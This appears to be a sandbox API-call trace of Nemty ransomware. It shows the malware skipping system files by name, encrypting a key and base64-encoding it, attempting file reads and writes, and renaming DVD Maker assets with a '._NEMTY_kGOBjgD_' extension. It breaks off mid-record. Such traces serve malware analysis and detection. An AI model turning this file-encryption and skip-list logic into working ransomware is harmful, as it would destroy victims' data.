[0069.094] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned -1 [0069.094] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0069.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0069.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0069.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0069.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94388 [0069.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0069.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0069.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94388 | out: hHeap=0x4f90000) returned 1 [0069.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0069.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0069.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0069.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0069.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0069.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0069.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0069.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0069.094] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 38 [0069.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0069.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f941c0 [0069.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0069.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94278 [0069.094] Sleep (dwMilliseconds=0x5) [0069.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdcd64ff0, dwHighDateTime=0x1d561e7)) [0069.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdcd64ff0, dwHighDateTime=0x1d561e7)) [0069.106] GetLastError () returned 0x5 [0069.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0069.106] GetLastError () returned 0x5 [0069.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.106] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0069.106] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0069.106] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0069.106] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="4hgj5vfysTe0+zc0XEA1vBG/BBivYO4aZWnNf6xloceNYTjlsWkTTnMG0AqYznDT\r\nBMmj4UzRB59SsErney2j3r8nF5/5ShK4dYrYrNy8Ep0G2RubVjQH2ru8y2GK8+Mh\r\nlvzMa/hJTtsLSrnO5sF7RKXhbJ+z50q1VAoRlmiFipt+FaVyASBxNQ2LNBzZ9EBo\r\n38DysZc9EkhlE3ihB87CWVqLM6RS6KB7Vu6BUEaUQSuOlHB8Qxt2TWy72Lwb3lEv\r\nkz2CoJ+SM/+9CswAWiONKpuHIQL24FzfdXtwA9sa920oJVnIegQBlcPagb6cqFJp\r\nYl8obMRsaQJKU28ovaSijQ==\r\n", pcchString=0x653ec5c) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0069.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0069.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0069.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0069.106] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0069.107] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0069.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0069.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.116] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.116] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.125] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.135] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.144] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.144] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.154] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.163] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.163] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.183] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.209] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.209] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0069.216] CloseHandle (hObject=0xffffffff) returned 0 [0069.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94330 [0069.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0069.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0069.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0069.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0069.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0069.216] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340270 [0069.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0069.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0069.216] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0069.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0069.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0069.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0069.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0069.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0069.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94278 | out: hHeap=0x4f90000) returned 1 [0069.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0069.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.217] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="rsa") returned -1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="programdata") returned -1 [0069.217] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0069.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0069.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0069.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94278 [0069.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0069.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.217] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0069.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.218] 